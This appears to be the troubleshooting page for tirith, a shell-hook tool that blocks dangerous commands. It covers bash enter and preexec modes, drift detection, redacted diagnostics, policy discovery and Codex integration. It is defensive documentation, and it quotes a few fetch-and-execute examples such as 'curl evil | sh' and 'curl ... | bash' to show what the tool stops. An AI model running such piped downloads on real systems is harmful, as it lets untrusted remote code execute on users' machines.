Troubleshooting

May 21, 2026 · View on GitHub

Shell hooks not loading

Run tirith doctor to see the hook directory being used and whether hooks were materialized from the embedded binary.

For a focused, single-screen compatibility view — detected shell, requested-vs-effective bash mode, install checks (PATH shadowing, profile wiring, materialized-hook staleness, policy discovery, threat-DB status), and any co-installed shell tools that interact with hooks (Atuin, Starship, fzf, zoxide, direnv, mise, asdf) — run:

tirith doctor --compat

Add --format json for a machine-readable report. --compat is a static report; to (re)measure bash enter-mode delivery use tirith doctor --simulate-enter.

If hooks are not found:

  1. Ensure tirith is in your PATH
  2. Run eval "$(tirith init)" and check for error messages (if you use multiple shells, prefer tirith init --shell bash|zsh|fish)
  3. Set TIRITH_SHELL_DIR to point to your shell hooks directory explicitly

Filing a bug report: tirith doctor --bundle

To attach a complete, redacted diagnostic to a bug report, run:

tirith doctor --bundle

It writes a single text file (path printed on completion, under ~/.local/state/tirith/) containing the doctor info, tirith and hook versions, shell / mode / effective protection, hook-chain state, policy discovery, threat-DB status, and a curated slice of the environment. The aliases tirith doctor --redacted-report and tirith doctor --shell-trace produce the same file.

The bundle is redacted by design:

  • Only a curated allowlist of tirith-relevant environment variables is included — unrelated cloud credentials and API keys are never even candidates.
  • Any value that still looks like a token or secret is masked as <redacted>.
  • The literal home-directory path is replaced with ~, so absolute paths in the report do not reveal your username.

It is safe to attach to a public issue. Review it first if you want to be sure. Add --format json to get {"bundle_path": "..."} instead of the human summary.

Protection downgraded (degraded status)

tirith can downgrade protection during a session — most commonly bash enter mode falling back to preexec warn-only when it detects a delivery failure. A downgrade is never silent: the hook prints one consolidated message,

tirith: protection downgraded to warn-only (does not block) — run 'tirith doctor' for details

and updates the TIRITH_STATUS shell variable to degraded.

To see the current protection level at any time, run tirith doctor — a protection: line reports blocks / warn-only / degraded / off, and a degraded state gets an explicit callout. tirith doctor --compat shows a protection status: line in the same spirit.

If you want the protection level visible in your shell prompt, the hook sets a non-exported TIRITH_STATUS shell variable for exactly that — see docs/prompt-status.md for ready-to-paste prompt snippets for bash, zsh, fish, PowerShell, and Starship. tirith adds no per-prompt output of its own; wiring TIRITH_STATUS into a prompt is opt-in.

To recover full protection after a degrade, restart your shell (and see "Persistent safe mode" below if it keeps happening).

Brew upgrade applied but behavior did not change

If brew reports a newer version but tirith --version is older, or shell behavior looks unchanged:

which -a tirith
brew info tirith
hash -r

Then refresh materialized hooks and restart shell:

rm -rf ~/.local/share/tirith/shell
exec zsh   # or exec bash / restart terminal

Wrong tirith binary on PATH

An unrelated Python package named tirith exists on PyPI. If an AI agent or script runs pip install tirith, that package lands in ~/.local/bin/tirith and may shadow the Rust binary.

Symptoms: tirith init produces a Python traceback mentioning autobahn, asyncio, or tirith monitor.

tirith doctor and tirith init will warn automatically if they detect a conflicting binary. To check manually:

which -a tirith        # list all tirith binaries on PATH
file $(which tirith)   # should say "Mach-O" or "ELF", not "Python script"

Fix: remove the Python package and clear the shell hash:

pip uninstall tirith
hash -r

Bash: Enter mode vs preexec mode

tirith supports two bash integration modes:

  • enter mode: Binds to Enter key via bind -x. Intercepts commands and paste before execution. Includes startup health gate and runtime self-healing that auto-degrade to preexec if failures are detected.
  • preexec mode: Uses DEBUG trap. Warn-only by default. Can be upgraded to real blocking via shopt -s extdebug + return 1 from the DEBUG trap; opt in with TIRITH_BASH_PREEXEC_ENFORCE=1.

Which mode is used by default

bind -x on Enter does not reliably accept the typed line in every bash / readline build — in some environments it runs the bound function but never returns to the command loop, so the command is silently eaten (issue #111). Because this is a property of the bash build, not the version number, tirith proves it rather than guessing:

  • tirith setup and tirith doctor run a quick disposable-PTY self-test that checks whether enter-mode delivery and blocking actually work for your bash, and cache the verdict. tirith doctor --simulate-enter runs it on demand.
  • On every new interactive shell, the bash hook reads that cached verdict. It uses enter mode only when the self-test proved it works; otherwise it falls back to preexec (warn-only). Outside SSH and with no cached verdict yet, the hook starts in preexec until the next tirith setup / tirith doctor populates the cache.

tirith doctor shows the cached verdict on the enter capability: line. If it reports not tested, run tirith doctor --simulate-enter.

Set the mode explicitly with export TIRITH_BASH_MODE=enter or export TIRITH_BASH_MODE=preexec (before tirith init in your shell rc). TIRITH_BASH_MODE=enter is a deliberate override — it forces enter mode even when the self-test has not proven it works; the startup health gate and runtime self-healing still degrade visibly to preexec if delivery then fails.

Preexec enforcement (TIRITH_BASH_PREEXEC_ENFORCE)

Set export TIRITH_BASH_PREEXEC_ENFORCE=1 in your .bashrc (before tirith init) to get real blocking in preexec mode. Values 1, true, yes, on all enable it; unset or 0 keeps today's warn-only behavior.

Enforcement needs a trustworthy whole-line view of each typed command, which bash provides through history 1. A few common bash settings break that guarantee, and the hook refuses to engage enforcement in those shells — it stays in warn-only and prints the reason once at startup. Specifically:

SettingEffectWhy enforcement cannot use it
HISTCONTROL containing ignorespace, ignoredups, or ignorebothBash skips or merges history entrieshistory 1 may return a stale line that no longer matches BASH_COMMAND
HISTIGNORE=...Matching commands are dropped from historySame: a drifted entry would let composite rules like curl | sh slip
set +o historyNo entries recorded at allNothing to check against

If any of these are set when the hook loads, you'll see:

tirith: cannot enable preexec enforcement in this shell (HISTCONTROL/HISTIGNORE or disabled history prevent trustworthy whole-line view). Running in warn-only. For guaranteed blocking, use enter mode (export TIRITH_BASH_MODE=enter).

Either remove the hostile setting, use enter mode, or accept warn-only.

What Phase 1 handles vs what it doesn't

Phase 1 enforcement uses a narrow-but-honest drift check: bash's BASH_COMMAND (the current simple command) must word-boundary-match somewhere inside history 1 (the typed line). Cosmetic spacing differences — ls -l >/dev/null vs ls -l > /dev/null — are bridged by a whitespace-normalised retry and a command-name fallback, so they do not trigger drift.

The following are explicitly not handled in Phase 1; any shell that relies on them triggers a runtime drift detection and downgrades the session to warn-only with a clear message:

  • Alias expansion (alias ll='ls -l'; typing ll ... expands to ls -l ... which no longer matches the typed line)
  • Process substitution (diff <(...) <(...))
  • Command substitution (foo "$(bar)")
  • eval'd strings

If you use any of these heavily, prefer enter mode for guaranteed blocking.

Known residual: late drift on filtered shells

If the install-time check passed but drift develops mid-session (e.g. the user switched to HISTCONTROL=ignorespace after sourcing), the hook detects it on the next DEBUG fire and downgrades to warn-only. The drift-triggering command is blocked, the session flips, and the rest of the same typed line is also blocked because the cache key is BASH_LINENO[0] (a per-typed-line identifier) — not history 1's entry index, which can stall in filtered shells. Subsequent prompts get a fresh evaluation under warn-only.

One narrow residual remains: if a pipeline's first simple command happens to word-boundary-match the stale history line AND that stale line's verdict is allow, the first segment runs before drift is noticed on a later segment. The later segment is then blocked and the session is downgraded. In a pipe-to-interpreter attack (curl evil | sh), curl may fetch the payload but sh does not run it; the downstream sink is still blocked. Use enter mode if you need guaranteed line-level blocking.

extdebug side effects

When enforcement is enabled, the hook enables shopt -s extdebug. This:

  • Changes the default behavior of BASH_ARGC / BASH_ARGV (they become populated by default).
  • Makes declare -F include source file and line numbers.
  • Interacts with set -E (errtrace) so ERR traps are inherited by shell functions.

If any of these matter for your workflow, set TIRITH_BASH_PREEXEC_ENFORCE=0 or use enter mode. Once enabled, extdebug stays on for the life of the shell session, even if the session later degrades to warn-only (disabling it inside the DEBUG trap would break the return 1 skip semantic).

Chained DEBUG traps

If you have your own DEBUG trap installed before sourcing the tirith hook, the hook wraps it in a trampoline and both run on every command. Your trap's return value is ignored by the trampoline; tirith's return value is authoritative. If your trap depends on caller-local state, the wrap may not reproduce behavior perfectly — opt out with TIRITH_BASH_PREEXEC_ENFORCE=0 in that case.

Checking live state with tirith doctor

tirith doctor reports bash state on two separate lines so requested configuration and live hook state are legible even when they disagree (e.g. after a mid-session degrade):

  requested mode:       preexec          ← from TIRITH_BASH_MODE env var
  requested enforce:    off              ← from TIRITH_BASH_PREEXEC_ENFORCE
  require-enter:        off              ← from TIRITH_BASH_REQUIRE_ENTER
  bash mode:            preexec          ← live, exported by the hook
  effective protection: warn-only        ← live, exported by the hook
  safe mode:            off              ← persistent enter-mode-failure flag
  enter capability:     broken           ← cached enter-mode self-test verdict

The enter capability: line shows the cached verdict of the bash enter-mode delivery self-test (issue #111): works (enter mode is enabled for new shells), broken / inconclusive (preexec is used), STALE (the verdict was measured against a different bash — a different $BASH_VERSION or a different bash binary path — so it no longer applies; run tirith doctor --simulate-enter to re-measure), or not tested. Cache freshness tracks the bash identity only; a tirith upgrade does not by itself make the verdict stale (the cache schema number handles cross-version invalidation, and the recorded tirith version is diagnostic only).

If you see bash hook: not loaded in this process, the hook did not run in the shell that invoked doctor — typically because doctor was called from a non-interactive subshell. Source the hook in your .bashrc and open a new interactive shell.

First-use preexec banner

On the first command it intercepts in an interactive bash session, the preexec hook prints a one-line reminder:

tirith: bash is in preexec mode (warn-only, does not block)
  Run 'tirith doctor' to test enter mode (blocking) for this shell

This is intentional: preexec mode cannot stop a command once bash has committed to running it. The banner fires once per shell, on the first intercepted command. Running tirith doctor (or tirith doctor --simulate-enter) runs the enter-mode self-test and, if delivery works for your bash, enables enter mode for new shells.

Persistent safe mode

If enter mode detects a failure (bind-x not taking effect, PROMPT_COMMAND delivery broken, etc.), it automatically degrades to preexec and writes a persistent flag at ~/.local/state/tirith/bash-safe-mode. All subsequent shells will start in preexec until you explicitly re-enable enter mode.

To re-enable enter mode after an auto-degrade:

# Option 1: CLI reset
tirith doctor --reset-bash-safe-mode

# Option 2: explicit override in your .bashrc (before tirith init)
export TIRITH_BASH_MODE=enter

DEBUG trap ownership

In preexec mode (including after auto-degrade from enter mode), tirith sets the DEBUG trap. This is the same behavior used by default in SSH sessions. If you have custom DEBUG traps in your shell configuration, they will be overridden when tirith is in preexec mode.

Bash: no visible input after ssh / gcloud compute ssh

tirith automatically defaults to preexec mode when SSH_CONNECTION, SSH_TTY, or SSH_CLIENT is set. If you still see input issues, force preexec explicitly:

export TIRITH_BASH_MODE=preexec
eval "$(tirith init --shell bash)"

This avoids bind -x enter interception in environments where PTY handling is fragile.

PowerShell: PSReadLine conflicts

If using PSReadLine, ensure the tirith hook loads after PSReadLine initialization. The hook overrides PSConsoleHostReadLine to intercept pastes.

Fish: clipboard paste scope

The fish hook intercepts pastes through fish_clipboard_paste (covering Ctrl+V and Ctrl+Y emacs/custom bindings), which is what the vast majority of fish users hit. It does not currently wrap fish's terminal-level bracketed-paste path (__fish_paste). If you rely on terminal-initiated bracketed paste and want it scanned too, use a shell with enter-mode support (bash 5+/zsh) for those sessions, or track the request in issue #4.

Latency

tirith's Tier 1 fast path (no URLs detected) targets <2ms. If you notice latency:

  1. Run tirith check --format json -- "your command" and check timings_ms
  2. If Tier 1 is slow, check for extremely long command strings
  3. Policy file loading (Tier 2) adds ~1ms. Use tirith doctor to see policy paths

False positives

If a command is incorrectly blocked or warned:

  1. Run tirith why to see which rule triggered
  2. Add the URL to your allowlist: ~/.config/tirith/allowlist
  3. Override the rule severity in policy.yaml: severity_overrides: { rule_id: LOW }

Policy discovery

tirith searches for policy in this order:

  1. TIRITH_POLICY_ROOT env var → $TIRITH_POLICY_ROOT/.tirith/policy.yaml (or .yml)
  2. Walk up from CWD looking for .tirith/policy.yaml (or .yml)
  3. ~/.config/tirith/policy.yaml (or .yml) (user-level)

Use tirith doctor to see which policy files are active.

Warp terminal: silent blocking

Warp terminal handles /dev/tty output differently than traditional terminals. tirith auto-detects Warp and uses stderr instead, but if block/warn messages aren't showing:

# Add to your ~/.zshrc or ~/.bashrc
export TIRITH_OUTPUT=stderr

This forces tirith to output to stderr instead of /dev/tty, which Warp displays correctly.

Codex: MCP protected, but direct shell commands still run

Symptom: MCP tool calls are blocked correctly, but a direct command like curl ... | bash still executes in Codex.

Cause: Codex has two execution paths. MCP gateway covers MCP tools/call, but native /bin/zsh -lc execution does not pass through MCP.

Fix: Follow mcp/clients/codex.md and ensure both are configured:

  1. Codex MCP gateway registration (codex mcp add ...)
  2. ~/.zshenv guard for all non-interactive zsh -lc runs (ZSH_EXECUTION_STRING)

The recommended Codex guard is intentionally fail-closed: if tirith check returns an unexpected non-zero code, the command is blocked for safety.

Then run:

scripts/codex-upgrade-smoke.sh --config ~/.config/tirith/gateway.yaml

If it reports unguarded tool names, add those names to guarded_tools.pattern in your gateway YAML and rerun the script.

Unexpected tirith exit codes

Tirith uses a mixed fail-safe policy for unexpected exit codes (crashes, OOM-kills, missing binary). The policy balances safety against terminal usability:

  • Bash enter mode: Auto-degrades to preexec on unexpected tirith exit code. The current command is not executed; subsequent commands go through preexec warn-only mode. Recoverable via tirith doctor --reset-bash-safe-mode or export TIRITH_BASH_MODE=enter.
  • Zsh / Fish / PowerShell: Warns and executes on unexpected exit code. A diagnostic message is printed so you know protection is degraded. The terminal never breaks.
  • All paste paths: Fail-closed — discards paste on any unexpected exit code. Safe because you can re-paste.

Expected exit codes: 0 (allow), 1 (block), 2 (warn). Anything else is treated as unexpected.

Audit log location

Default: ~/.local/share/tirith/log.jsonl (XDG-compliant)

Each entry is a JSON line with timestamp, action, rule IDs, and redacted command.